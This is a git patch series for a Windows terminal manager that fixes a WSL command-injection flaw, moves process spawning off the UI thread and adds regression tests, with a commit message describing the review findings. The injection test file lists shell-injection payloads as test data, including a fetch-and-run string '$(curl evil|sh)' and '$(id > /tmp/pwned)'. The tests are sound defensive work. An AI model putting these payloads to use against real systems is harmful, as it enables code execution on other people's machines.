+ // with Version = 0. Requiring a parseable version is language-independent. + if (!int.TryParse(tokens[versionIdx], out int version)) continue; results.Add(new WslDistro(name, version, isDefault, state)); } @@ -159,7 +153,10 @@ private static bool IsDockerInternalDistro(string name) => string args = $"-d {Models.ShellSession.QuoteForCmd(distro)}"; if (!string.IsNullOrEmpty(normalizedUser)) args += $" -u {Models.ShellSession.QuoteForCmd(normalizedUser)}"; - args += " -- sh -c \"cd ~ && pwd\""; + // -e (not --) for the same reason BuildWslArgs and GetLoginShellAsync use it: + // `--` runs the tail through the distro's default login shell first, expanding + // the payload twice. See ShellSession.BuildWslArgs. + args += " -e sh -c \"cd ~ && pwd\""; var psi = new ProcessStartInfo("wsl.exe") { @@ -171,22 +168,10 @@ private static bool IsDockerInternalDistro(string name) => StandardOutputEncoding = Encoding.UTF8, StandardErrorEncoding = Encoding.UTF8, }; - using var process = Process.Start(psi); - if (process is null) return null; - - // Drain BOTH stdout and stderr. If we only awaited stdout, a chatty - // wsl.exe error (e.g. distro stopped, transient init message) could - // fill the stderr pipe buffer and block the child — the stdout await - // would never complete and we'd silently fall through to the timeout. - var outTask = process.StandardOutput.ReadToEndAsync(); - var errTask = process.StandardError.ReadToEndAsync(); - var bothTask = Task.WhenAll(outTask, errTask); - var completed = await Task.WhenAny(bothTask, Task.Delay(3000)); - if (completed != bothTask) { try { process.Kill(); } catch { } return null; } - try { await process.WaitForExitAsync(); } catch { } - if (process.ExitCode != 0) return null; - - string home = outTask.Result.Trim(); + var (stdout, _, exit) = await RunWslCaptureAsync(psi, 3000).ConfigureAwait(false); + if (exit != 0) return null; + + string home = stdout.Trim(); if (string.IsNullOrEmpty(home)) return null; lock (_homeCache) _homeCache[key] = home; return home; @@ -233,19 +218,10 @@ public static async Task GetLoginShellAsync(string distro, string? user StandardOutputEncoding = Encoding.UTF8, StandardErrorEncoding = Encoding.UTF8, }; - using var process = Process.Start(psi); - if (process is null) return "bash"; - - // Drain both streams — see GetDistroHomeAsync for why stderr must be read too. - var outTask = process.StandardOutput.ReadToEndAsync(); - var errTask = process.StandardError.ReadToEndAsync(); - var bothTask = Task.WhenAll(outTask, errTask); - var completed = await Task.WhenAny(bothTask, Task.Delay(3000)); - if (completed != bothTask) { try { process.Kill(); } catch { } return "bash"; } - try { await process.WaitForExitAsync(); } catch { } - if (process.ExitCode != 0) return "bash"; - - string result = outTask.Result.Trim(); + var (stdout, _, exit) = await RunWslCaptureAsync(psi, 3000).ConfigureAwait(false); + if (exit != 0) return "bash"; + + string result = stdout.Trim(); string shell = result == "sh" ? "sh" : "bash"; lock (_shellCache) _shellCache[key] = shell; return shell; @@ -255,6 +231,45 @@ public static async Task GetLoginShellAsync(string distro, string? user private static readonly Dictionary _shellCache = new(); + /// + /// Runs a prepared wsl.exe probe and captures both streams, entirely off the calling + /// thread. Returns exit -1 for "did not run or did not finish in time". + /// + /// Task.Run is the point of this helper. Process.Start is synchronous and sits before + /// the first await, so without it process creation ran on whichever thread called in — + /// and every caller here is the UI thread (the New Session dialog's Loaded/Start + /// handlers, and LaunchSessionAsync inside the restore loop). That is the exact defect + /// issue #70 fixed in GitService, and wsl.exe is the worse offender: it can boot a + /// stopped distro VM, which is seconds, not milliseconds. See CLAUDE.md, "Never spawn a + /// process on the UI thread". + /// + /// Both streams are always drained: awaiting only stdout lets a chatty stderr fill its + /// pipe buffer and wedge the child until the timeout. + /// + private static Task<(string stdout, string stderr, int exit)> RunWslCaptureAsync( + ProcessStartInfo psi, int timeoutMs) => Task.Run(async () => + { + using var process = Process.Start(psi); + if (process is null) return ("", "", -1); + + var outTask = process.StandardOutput.ReadToEndAsync(); + var errTask = process.StandardError.ReadToEndAsync(); + var bothTask = Task.WhenAll(outTask, errTask); + + var completed = await Task.WhenAny(bothTask, Task.Delay(timeoutMs)).ConfigureAwait(false); + if (completed != bothTask) + { + try { process.Kill(); } catch { } + return ("", "", -1); + } + + try { await process.WaitForExitAsync().ConfigureAwait(false); } catch { } + + string stdout = outTask.IsCompletedSuccessfully ? outTask.Result : ""; + string stderr = errTask.IsCompletedSuccessfully ? errTask.Result : ""; + return (stdout, stderr, process.HasExited ? process.ExitCode : -1); + }); + /// /// Converts a WSL distro + Linux-style path to the Windows UNC view of that path /// (\\wsl$\Ubuntu\home\alice). Used by GitService and PseudoTerminal's diff --git a/src/CodeShellManager/ViewModels/SessionViewModel.cs b/src/CodeShellManager/ViewModels/SessionViewModel.cs index 7f65b07..3815cd9 100644 --- a/src/CodeShellManager/ViewModels/SessionViewModel.cs +++ b/src/CodeShellManager/ViewModels/SessionViewModel.cs @@ -239,7 +239,7 @@ private void StartGitWatcher() // `\\wsl$\...` UNC — watching that keeps the distro's 9p server busy and defeats // the idle-VM shutdown the WSL cadence above exists to protect. if (Session.Kind != SessionKind.Local) return; - _gitWatcher = GitRepoWatcher.TryCreate(Session.WorkingFolder); + _gitWatcher = GitRepoWatcher.Acquire(Session.WorkingFolder); if (_gitWatcher != null) _gitWatcher.Changed += OnGitDirChanged; // null is normal: a plain folder, or a platform that refused the watch. Poll only. } @@ -409,7 +409,9 @@ public void Dispose() if (_gitWatcher != null) { _gitWatcher.Changed -= OnGitDirChanged; - _gitWatcher.Dispose(); + // Release, not Dispose — the watcher is shared with any other session in the + // same repo and only the last one out disposes it. + GitRepoWatcher.Release(_gitWatcher); _gitWatcher = null; } AlertDetector?.Dispose(); diff --git a/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs b/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs index 29edf44..60d7313 100644 --- a/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs +++ b/tests/CodeShellManager.Tests/GitRepoWatcherTests.cs @@ -142,6 +142,88 @@ public void Rapid_writes_are_debounced_into_one_notification() Assert.Equal(1, Volatile.Read(ref count)); } + [Fact] + public void Acquire_shares_one_watcher_across_sessions_in_the_same_repo() + { + // Several sessions in one repo is the normal case — that is what the worktree + // sibling feature is for. One FileSystemWatcher per session meant N kernel handles + // and N buffers on the same directory. + string work = MakeRepo("shared"); + int before = GitRepoWatcher.SharedCount; + + var a = GitRepoWatcher.Acquire(work); + var b = GitRepoWatcher.Acquire(work); + try + { + Assert.NotNull(a); + Assert.Same(a, b); + Assert.Equal(before + 1, GitRepoWatcher.SharedCount); + } + finally + { + GitRepoWatcher.Release(a); + GitRepoWatcher.Release(b); + } + } + + [Fact] + public void Release_keeps_the_watcher_alive_until_the_last_session_lets_go() + { + string work = MakeRepo("refcount"); + var a = GitRepoWatcher.Acquire(work); + var b = GitRepoWatcher.Acquire(work); + Assert.NotNull(a); + + using var fired = new ManualResetEventSlim(false); + a!.Changed += () => fired.Set(); + + // First session closes. The watcher must survive for the second. + GitRepoWatcher.Release(a); + + File.WriteAllText(Path.Combine(work, ".git", "HEAD"), "ref: refs/heads/still-live\n"); + Assert.True(fired.Wait(TimeSpan.FromSeconds(10)), + "releasing one session must not stop notifications for the others"); + + GitRepoWatcher.Release(b); + Assert.DoesNotContain(work, DescribeShared()); + } + + [Fact] + public void Different_repos_get_different_watchers() + { + string one = MakeRepo("repo-one"); + string two = MakeRepo("repo-two"); + + var a = GitRepoWatcher.Acquire(one); + var b = GitRepoWatcher.Acquire(two); + try + { + Assert.NotNull(a); + Assert.NotNull(b); + Assert.NotSame(a, b); + } + finally + { + GitRepoWatcher.Release(a); + GitRepoWatcher.Release(b); + } + } + + [Fact] + public void Acquire_outside_a_repo_returns_null_and_registers_nothing() + { + string plain = Path.Combine(_root, "plain-acquire"); + Directory.CreateDirectory(plain); + int before = GitRepoWatcher.SharedCount; + + Assert.Null(GitRepoWatcher.Acquire(plain)); + Assert.Equal(before, GitRepoWatcher.SharedCount); + } + + // The shared map is keyed by .git dir; this just gives the assertion above something + // readable to fail against. + private static string DescribeShared() => $"shared={GitRepoWatcher.SharedCount}"; + [Fact] public void Dispose_stops_notifications() { diff --git a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs new file mode 100644 index 0000000..ab8f7aa --- /dev/null +++ b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs @@ -0,0 +1,138 @@ +using System.Linq; +using CodeShellManager.Services; +using Xunit; + +namespace CodeShellManager.Tests; + +/// +/// Regression tests for the command-injection fix found in the v0.8.0 pre-release review. +/// +/// Two defects, one root cause — git command lines were built by string interpolation: +/// +/// $"-d {distro} -- git -C {cwd} {arguments}" (WSL) +/// $"-C \"{workingDir}\" {arguments}" (local) +/// +/// `wsl.exe … -- ` runs the tail through the distro's DEFAULT LOGIN SHELL — the +/// codebase verifies this itself in ShellSession.BuildWslArgs, which is why that method uses +/// `-e`. So a `$(…)`, backtick, `;` or `|` in a branch name or working-folder path executed +/// inside the distro. Git ref names legally permit all of those, and branch names come from +/// the cloned repo, so opening a hostile repository and creating a worktree from its branch +/// was arbitrary code execution. +/// +/// These tests assert the two properties that make that impossible: `-e` rather than `--`, +/// and every value surviving as exactly one argv element through the real Win32 tokenizer. +/// +public class GitServiceInjectionTests +{ + // Payloads that would execute, or split an argument, if they ever reached a shell or + // were concatenated unquoted. All are legal git ref names or legal Linux directory names. + public static TheoryData HostilePayloads() => new() + { + "$(id > /tmp/pwned)", + "`id`", + "a;id", + "a|id", + "a&&id", + "a b", // plain split + "a\"b", // quote — this is what broke the local path + @"a\b", + @"trailing\\", // backslash run before the closing quote + "$IFS", + "a\nb", + }; + + [Theory] + [MemberData(nameof(HostilePayloads))] + public void WslGitCommandLine_KeepsEachValueAsExactlyOneArgument(string payload) + { + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", "/home/alice/repo", + new[] { "worktree", "add", "-b", payload, "/home/alice/wt" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + + // -d Ubuntu -e git -C /home/alice/repo worktree add -b /home/alice/wt + Assert.Equal( + new[] { "-d", "Ubuntu", "-e", "git", "-C", "/home/alice/repo", + "worktree", "add", "-b", payload, "/home/alice/wt" }, + argv); + } + + [Theory] + [MemberData(nameof(HostilePayloads))] + public void LocalGitCommandLine_KeepsEachValueAsExactlyOneArgument(string payload) + { + string cmd = GitService.BuildLocalGitCommandLine( + @"C:\repo", new[] { "worktree", "add", "-b", payload, @"C:\wt" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + + Assert.Equal( + new[] { "-C", @"C:\repo", "worktree", "add", "-b", payload, @"C:\wt" }, + argv); + } + + [Fact] + public void WslGitCommandLine_UsesDashE_NotDashDash() + { + // The whole fix. `--` hands the tail to the distro's login shell; `-e` execs git + // directly. If this ever regresses, every payload above becomes live again. + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", "/repo", new[] { "status", "--porcelain" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + + Assert.Contains("-e", argv); + Assert.DoesNotContain("--", argv); + // -e must come immediately before the program it execs. + Assert.Equal("git", argv[argv.ToList().IndexOf("-e") + 1]); + } + + [Fact] + public void WslGitCommandLine_HostileWorkingFolderStaysOneArgument() + { + // The unattended half: cwd comes from the session's working folder and is reached by + // the git poll on a timer, with no user action at all. `proj$(…)` is a legal Linux + // directory name and creatable over \\wsl$. + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", "/home/alice/proj$(curl evil|sh)", new[] { "status", "--porcelain" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + + Assert.Equal("/home/alice/proj$(curl evil|sh)", argv[5]); + Assert.Equal(new[] { "status", "--porcelain" }, argv[6..]); + } + + [Fact] + public void WslGitCommandLine_HostileDistroNameStaysOneArgument() + { + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu 22.04$(id)", "/repo", new[] { "status" }); + + Assert.Equal("Ubuntu 22.04$(id)", Win32CommandLineTests.Split(cmd)[1]); + } + + [Fact] + public void ForEachRefFormat_SurvivesAsOneArgument() + { + // Not just a security property: `--format=%(refname:short)` is a bash syntax error + // once a login shell sees it, so ListBranchesAsync could never have worked under + // WSL while the `--` form was in use. + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", "/repo", new[] { "for-each-ref", "--format=%(refname:short)", "refs/heads" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + Assert.Equal("--format=%(refname:short)", argv[7]); + } + + [Fact] + public void WslGitCommandLine_TranslatesUncArgumentsPerArgument() + { + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", "/repo", + new[] { "worktree", "add", @"\\wsl$\Ubuntu\home\alice\my repo" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + Assert.Equal("/home/alice/my repo", argv[^1]); + } +} diff --git a/tests/CodeShellManager.Tests/GitServiceWslRoutingTests.cs b/tests/CodeShellManager.Tests/GitServiceWslRoutingTests.cs index 7af4e7d..7373cd3 100644 --- a/tests/CodeShellManager.Tests/GitServiceWslRoutingTests.cs +++ b/tests/CodeShellManager.Tests/GitServiceWslRoutingTests.cs @@ -25,29 +25,27 @@ public void TryParseWslUnc_KnownShapes(string path, string? expectedDistro, stri } [Fact] - public void TranslateUncArgsToLinux_MatchingDistro_Substitutes() + public void TranslateUncArgToLinux_MatchingDistro_Substitutes() { - string args = "worktree add \"\\\\wsl$\\Ubuntu\\home\\alice\\proj-foo\" main"; - string translated = GitService.TranslateUncArgsToLinux(args, "Ubuntu"); - Assert.Contains("/home/alice/proj-foo", translated); - Assert.DoesNotContain(@"\\wsl$\Ubuntu", translated); + string translated = GitService.TranslateUncArgToLinux( + @"\\wsl$\Ubuntu\home\alice\proj-foo", "Ubuntu"); + Assert.Equal("/home/alice/proj-foo", translated); } [Fact] - public void TranslateUncArgsToLinux_DifferentDistro_LeftAlone() + public void TranslateUncArgToLinux_DifferentDistro_LeftAlone() { // We're running git inside Ubuntu — a UNC pointing at Debian is a real // mistake and should NOT be silently rewritten to look like a local path. - string args = @"worktree add \\wsl$\Debian\home\alice\proj main"; - string translated = GitService.TranslateUncArgsToLinux(args, "Ubuntu"); - Assert.Equal(args, translated); + string arg = @"\\wsl$\Debian\home\alice\proj"; + Assert.Equal(arg, GitService.TranslateUncArgToLinux(arg, "Ubuntu")); } [Fact] - public void TranslateUncArgsToLinux_NoUncs_Passthrough() + public void TranslateUncArgToLinux_NonPathArgs_Passthrough() { - string args = "branch --show-current"; - Assert.Equal(args, GitService.TranslateUncArgsToLinux(args, "Ubuntu")); + Assert.Equal("--show-current", GitService.TranslateUncArgToLinux("--show-current", "Ubuntu")); + Assert.Equal("branch", GitService.TranslateUncArgToLinux("branch", "Ubuntu")); } [Fact] @@ -87,22 +85,19 @@ public void TranslateLinuxPathsToUnc_StatusPorcelain_Untouched() } [Fact] - public void TranslateUncArgsToLinux_QuotedUncWithSpaces_TranslatedWholeAndReQuoted() + public void TranslateUncArgToLinux_PathWithSpaces_TranslatedWhole() { - // Regression: the unquoted regex stops at whitespace, so a quoted UNC - // containing a space (worktree add target) used to be half-translated. - string args = "worktree add \"\\\\wsl$\\Ubuntu\\home\\alice\\my repo\" main"; - string translated = GitService.TranslateUncArgsToLinux(args, "Ubuntu"); - Assert.Contains("\"/home/alice/my repo\"", translated); - Assert.DoesNotContain(@"\\wsl$\Ubuntu", translated); + // The old whole-command-line regex needed a separate quoted pass for this; a path + // with a space used to come back half-translated. Per-argument, spaces are just + // characters in the argument. + Assert.Equal("/home/alice/my repo", + GitService.TranslateUncArgToLinux(@"\\wsl$\Ubuntu\home\alice\my repo", "Ubuntu")); } [Fact] - public void TranslateUncArgsToLinux_QuotedUncRoot_BecomesQuotedRoot() + public void TranslateUncArgToLinux_DistroRoot_BecomesSlash() { - string args = "rev-parse \"\\\\wsl$\\Ubuntu\""; - string translated = GitService.TranslateUncArgsToLinux(args, "Ubuntu"); - Assert.Equal("rev-parse \"/\"", translated); + Assert.Equal("/", GitService.TranslateUncArgToLinux(@"\\wsl$\Ubuntu", "Ubuntu")); } [Fact] @@ -117,18 +112,19 @@ public void TranslateLinuxPathsToUnc_PathContainsSpaces_TranslatesWholePath() } [Fact] - public void TranslateUncArgsToLinux_PrefixCollidingDistro_LeftAlone() + public void TranslateUncArgToLinux_PrefixCollidingDistro_LeftAlone() { // `Ubuntu` must not match `Ubuntu-22.04` — the default `wsl --install` naming. - string args = "worktree add \"\\\\wsl$\\Ubuntu-22.04\\home\\alice\\x\" main"; - Assert.Equal(args, GitService.TranslateUncArgsToLinux(args, "Ubuntu")); - string bare = "worktree add \\\\wsl$\\Ubuntu-22.04\\home\\alice\\x main"; - Assert.Equal(bare, GitService.TranslateUncArgsToLinux(bare, "Ubuntu")); + // Previously enforced by a regex lookahead; now it falls out of TryParseWslUnc + // returning the real distro name and an ordinal-ignore-case comparison. + string arg = @"\\wsl$\Ubuntu-22.04\home\alice\x"; + Assert.Equal(arg, GitService.TranslateUncArgToLinux(arg, "Ubuntu")); } [Fact] - public void TranslateUncArgsToLinux_DistroRootUnquoted_BecomesSlash() + public void TranslateUncArgToLinux_CaseInsensitiveDistroMatch() { - Assert.Equal("-C / status", GitService.TranslateUncArgsToLinux("-C \\\\wsl$\\Ubuntu status", "Ubuntu")); + Assert.Equal("/home/alice", + GitService.TranslateUncArgToLinux(@"\\wsl$\ubuntu\home\alice", "Ubuntu")); } } diff --git a/tests/CodeShellManager.Tests/ShellIntegrationPayloadTests.cs b/tests/CodeShellManager.Tests/ShellIntegrationPayloadTests.cs index a01cd16..aa9bb9a 100644 --- a/tests/CodeShellManager.Tests/ShellIntegrationPayloadTests.cs +++ b/tests/CodeShellManager.Tests/ShellIntegrationPayloadTests.cs @@ -1,3 +1,4 @@ +using System.Linq; using CodeShellManager.Services; using Xunit; @@ -99,4 +100,41 @@ public void SanitizeTitle_CapDoesNotSplitSurrogatePair() [InlineData("a\u001bb", "ab")] public void SanitizeBranch(string input, string? expected) => Assert.Equal(expected, ShellIntegrationPayload.SanitizeBranch(input)); + + [Fact] + public void SanitizeBranch_LongBranch_IsCapped() + { + // Found in the v0.8.0 pre-release review: titles were capped, branches were not. + // The value comes from whatever printed to the terminal and is rendered into a + // sidebar row, so an unbounded branch let any program wedge the UI. + string huge = new('b', 100_000); + + string? result = ShellIntegrationPayload.SanitizeBranch(huge); + + Assert.NotNull(result); + Assert.Equal(ShellIntegrationPayload.MaxBranchLength, result!.Length); + } + + [Fact] + public void SanitizeBranch_RealBranchNames_AreNeverTruncated() + { + // The cap bounds a hostile emitter; it must not police legitimate refs. + string realistic = "feature/some-quite-long-but-entirely-reasonable-branch-name-v2"; + + Assert.Equal(realistic, ShellIntegrationPayload.SanitizeBranch(realistic)); + } + + [Fact] + public void SanitizeBranch_CapDoesNotSplitASurrogatePair() + { + // Same surrogate-safety the title path already had — cutting mid-pair would emit a + // lone surrogate into the UI string. + string emoji = string.Concat(Enumerable.Repeat("😀", 500)); + + string? result = ShellIntegrationPayload.SanitizeBranch(emoji); + + Assert.NotNull(result); + Assert.False(char.IsHighSurrogate(result![^1]), + "a trailing high surrogate means the cap split a character"); + } } diff --git a/tests/CodeShellManager.UITests/AppFixture.cs b/tests/CodeShellManager.UITests/AppFixture.cs index f0c1d57..952ecbf 100644 --- a/tests/CodeShellManager.UITests/AppFixture.cs +++ b/tests/CodeShellManager.UITests/AppFixture.cs @@ -30,7 +30,13 @@ public AppFixture() Automation = new UIA3Automation(); App = Application.Launch(psi); - MainWindow = App.GetMainWindow(Automation, TimeSpan.FromSeconds(15)); + + // GetMainWindow returns null if the window never appears. Failing here names the + // real problem — the app didn't start — instead of every test in the class dying on + // a NullReferenceException later (issue #92). + MainWindow = App.GetMainWindow(Automation, TimeSpan.FromSeconds(15)) + ?? throw new InvalidOperationException( + "CodeShellManager main window did not appear within 15s of launch."); } public void Dispose() diff --git a/tests/CodeShellManager.UITests/Helpers/AppActions.cs b/tests/CodeShellManager.UITests/Helpers/AppActions.cs index 667ebe7..89900ce 100644 --- a/tests/CodeShellManager.UITests/Helpers/AppActions.cs +++ b/tests/CodeShellManager.UITests/Helpers/AppActions.cs @@ -20,12 +20,25 @@ public static AutomationElement WaitForElement(Window window, string automationI () => window.FindFirstDescendant(cf => cf.ByAutomationId(automationId)), timeout ?? DefaultTimeout); - if (!result.Success) + if (!result.Success || result.Result is null) throw new TimeoutException( $"Element with AutomationId '{automationId}' not found within timeout."); return result.Result; } + /// + /// Finds a descendant by AutomationId, or throws naming the id that was missing. + /// + /// FlaUI's FindFirstDescendant returns null when nothing matches, and the call sites + /// here dereference the result immediately. Silencing that with ! would turn a + /// missing-element bug into a NullReferenceException with no indication of *which* + /// element — strictly worse than the warning it hides. See issue #92. + /// + internal static AutomationElement Require(this AutomationElement parent, string automationId) + => parent.FindFirstDescendant(cf => cf.ByAutomationId(automationId)) + ?? throw new InvalidOperationException( + $"UI element with AutomationId '{automationId}' was not found."); + /// /// Opens the New Session dialog, fills folder and name, and clicks Start Session. /// Waits for the dialog to close before returning. @@ -48,18 +61,15 @@ public static void CreateSession(Application app, Window window, UIA3Automation var dialog = dialogResult.Result!; // Fill folder - var folderBox = dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionFolderBox")).AsTextBox(); + var folderBox = dialog.Require("NewSessionFolderBox").AsTextBox(); folderBox.Text = folder; // Fill name - var nameBox = dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionNameBox")).AsTextBox(); + var nameBox = dialog.Require("NewSessionNameBox").AsTextBox(); nameBox.Text = name; // Click Start Session - dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionOkBtn")).AsButton().Click(); + dialog.Require("NewSessionOkBtn").AsButton().Click(); // Wait for dialog to close Retry.WhileFalse( @@ -111,22 +121,18 @@ public static void CreateSshSession(Application app, Window window, UIA3Automati var dialog = dialogResult.Result!; // Switch to Remote mode - dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionRemoteRadio")).AsRadioButton().Click(); + dialog.Require("NewSessionRemoteRadio").AsRadioButton().Click(); // Fill SSH host - var hostBox = dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionSshHostBox")).AsTextBox(); + var hostBox = dialog.Require("NewSessionSshHostBox").AsTextBox(); hostBox.Text = host; // Fill session name - var nameBox = dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionNameBox")).AsTextBox(); + var nameBox = dialog.Require("NewSessionNameBox").AsTextBox(); nameBox.Text = name; // Click Start Session - dialog.FindFirstDescendant( - cf => cf.ByAutomationId("NewSessionOkBtn")).AsButton().Click(); + dialog.Require("NewSessionOkBtn").AsButton().Click(); Retry.WhileFalse( () => app.GetAllTopLevelWindows(automation) diff --git a/tests/CodeShellManager.UITests/SettingsTests.cs b/tests/CodeShellManager.UITests/SettingsTests.cs index 80ce613..ea20647 100644 --- a/tests/CodeShellManager.UITests/SettingsTests.cs +++ b/tests/CodeShellManager.UITests/SettingsTests.cs @@ -32,13 +32,11 @@ public void MaxResults_PersistsAfterSave() var settingsWindow = settingsResult.Result!; // Set Max Search Results to 42 - var maxResultsBox = settingsWindow.FindFirstDescendant( - cf => cf.ByAutomationId("MaxSearchResultsBox")).AsTextBox(); + var maxResultsBox = settingsWindow.Require("MaxSearchResultsBox").AsTextBox(); maxResultsBox.Text = "42"; // Click Save - settingsWindow.FindFirstDescendant( - cf => cf.ByAutomationId("SettingsSaveBtn")).AsButton().Click(); + settingsWindow.Require("SettingsSaveBtn").AsButton().Click(); Thread.Sleep(500); // Reopen Settings and verify value persisted @@ -54,13 +52,11 @@ public void MaxResults_PersistsAfterSave() var settingsWindow2 = settingsResult2.Result!; - var maxResultsBox2 = settingsWindow2.FindFirstDescendant( - cf => cf.ByAutomationId("MaxSearchResultsBox")).AsTextBox(); + var maxResultsBox2 = settingsWindow2.Require("MaxSearchResultsBox").AsTextBox(); Assert.Equal("42", maxResultsBox2.Text); // Close settings - settingsWindow2.FindFirstDescendant( - cf => cf.ByAutomationId("SettingsSaveBtn")).AsButton().Click(); + settingsWindow2.Require("SettingsSaveBtn").AsButton().Click(); } } From 835b1c7b39f5b20c38ba41cf26a731f444719ab6 Mon Sep 17 00:00:00 2001 From: Allan Thraen Date: Tue, 8 Sep 2026 16:47:11 +0200 Subject: [PATCH 2/6] fix: round-2 review findings, including two in round 1's own fix MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two fresh reviewers ran against the round-1 tree: one adversarial pass trying to break the injection fix, one fresh sweep for what the first security review missed. Both found real things, and the adversarial pass found two defects in the fix itself. ## Found in round 1's own fix **`-e git` silently dropped the login shell.** Injection-safe, but it execs git directly, so PATH is the bare default. Anyone whose git comes from nix, asdf or linuxbrew — PATH set in a shell profile — would have lost WSL git entirely, and the symptom is "not a git repo", which points nowhere near PATH. The old `--` form did run a login shell, so this was a regression I introduced. Now `-e sh -lc 'exec "$0" "$@"' git …`, which gets the login PATH back without reopening the hole: the script is a fixed literal and every untrusted value arrives as a positional parameter, which "$0"/"$@" expand verbatim without re-parsing. TheShellScriptIsAlwaysTheSameLiteral pins that property. **`worktree add` had no `--`.** git uses permuting parse_options, so a ref legitimately named `--force` in refs/heads is consumed as an option. Not execution, but it is a repo choosing our git flags. ## Found elsewhere **Drag-and-drop wrote unfiltered paths to the PTY (MEDIUM).** The page derives paths from text/uri-list with decodeURIComponent, so `%0A` arrives as a real newline — and a newline written to a PTY is Enter. A drag source that controls the payload (hostile page dragstart, crafted .url, another local app) ran a command in the focused session on one drop, no keystroke, no confirmation. Control characters are now rejected — Win32 forbids them in filenames, so nothing legitimate is lost and rejection has no escaping bug to get wrong. Embedded quotes are escaped rather than allowed to break the quoting. **`SshRemoteFolder` was interpolated raw into a remote shell command**, in both ShellSession.BuildSshArgs and RunInstance.BuildSshArgs — the one value in those builders that wasn't escaped, while the command payload beside it correctly used SingleQuoteEscape. It comes from state.json, which that file's own header calls untrusted. Now goes through PosixSingleQuote. This also fixes legitimate paths containing an apostrophe, which were simply broken. **PostRunUrl validated one string and launched another.** Uri.TryCreate accepts and internally escapes characters the raw string still contains, and ShellExecute got the raw one. Now launches uri.AbsoluteUri — the string that was inspected. **GitRepoWatcher refcounting.** Release had no identity check, so a stale double-Release could dispose the *replacement* watcher for the same .git dir and silently kill events for a live session. The watcher was also constructed while holding the global SharedLock, on the UI thread — one slow repo path would stall every other session's Acquire/Release. Keys are now normalized through GetFullPath so C:/repo and C:\repo don't get two watchers. **SessionViewModel.Dispose was not idempotent** — a second call threw on the CTS before reaching the watcher release, leaking a shared reference. MainWindow disposes a VM from several paths. **Stale comments** in GitService, SessionViewModel and MainWindow still described `wsl.exe … -- git` and an always-on heartbeat. In a change whose thesis is "`-e`, not `--`", that is exactly how it regresses. ## Also CI has never run the test suite — it built the app and went straight to packaging. Every test in this repo has only ever run on a developer's machine, including the regression guards for the injection and UI-thread fixes. Added a `dotnet test` step. Unit tests only; the FlaUI project needs an interactive desktop a hosted runner doesn't reliably provide. | Check | Result | |---|---| | Solution build (Release, clean) | 0 errors, 0 warnings | | Unit tests | 569/569 (40 new this round) | Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NDsEfog5kVkT5NmX1Ya5be --- .github/workflows/build.yml | 12 +++ src/CodeShellManager/MainWindow.xaml.cs | 2 +- src/CodeShellManager/Models/ShellSession.cs | 15 ++- .../Services/GitRepoWatcher.cs | 41 +++++-- src/CodeShellManager/Services/GitService.cs | 28 ++++- src/CodeShellManager/Services/RunInstance.cs | 33 ++++-- .../Terminal/TerminalBridge.cs | 58 ++++++++-- .../ViewModels/SessionViewModel.cs | 11 +- .../DroppedPathsTests.cs | 71 +++++++++++++ .../GitServiceInjectionTests.cs | 100 ++++++++++++++---- .../UntrustedInputTests.cs | 85 +++++++++++++++ 11 files changed, 408 insertions(+), 48 deletions(-) create mode 100644 tests/CodeShellManager.Tests/DroppedPathsTests.cs create mode 100644 tests/CodeShellManager.Tests/UntrustedInputTests.cs diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 75b16e0..35902c7 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -53,6 +53,18 @@ jobs: - name: Restore & Build run: dotnet build src/CodeShellManager/CodeShellManager.csproj -c Release + # CI had never run the test suite — it built the app and went straight to + # packaging, so every test only ever ran on a developer's machine. Found in the + # v0.8.0 pre-release review, and it matters more than usual now: the regression + # guards for the WSL command-injection fix (GitServiceInjectionTests) and for the + # git-off-the-UI-thread fix (GitServiceThreadingTests) live in here. + # + # Unit tests only. CodeShellManager.UITests drives the real app through FlaUI and + # needs an interactive desktop session, which a hosted runner does not reliably + # provide; adding it here would buy flakiness rather than coverage. + - name: Test + run: dotnet test tests/CodeShellManager.Tests/CodeShellManager.Tests.csproj -c Release --nologo + # ════════════════════════════════════════════════════════════════════════ # Everything below only runs when a version tag is pushed (e.g. v1.2.3) # ════════════════════════════════════════════════════════════════════════ diff --git a/src/CodeShellManager/MainWindow.xaml.cs b/src/CodeShellManager/MainWindow.xaml.cs index 9fa1472..2521199 100644 --- a/src/CodeShellManager/MainWindow.xaml.cs +++ b/src/CodeShellManager/MainWindow.xaml.cs @@ -227,7 +227,7 @@ private async void OnLoaded(object sender, RoutedEventArgs e) // Unattributed UI-thread latency baseline (issue #70). Started after settings load // so it shares the live AppSettings ref and honours DebugTerminalTrace toggled at - // runtime; the timer itself is cheap enough to leave running either way. + // runtime. SyncToSettings starts or stops it, so a session with tracing off pays nothing. _uiHeartbeat = new Diagnostics.UiThreadHeartbeat(_vm.Settings); _uiHeartbeat.SyncToSettings(); diff --git a/src/CodeShellManager/Models/ShellSession.cs b/src/CodeShellManager/Models/ShellSession.cs index 25e2c6c..e291002 100644 --- a/src/CodeShellManager/Models/ShellSession.cs +++ b/src/CodeShellManager/Models/ShellSession.cs @@ -200,7 +200,12 @@ internal string BuildSshArgs() 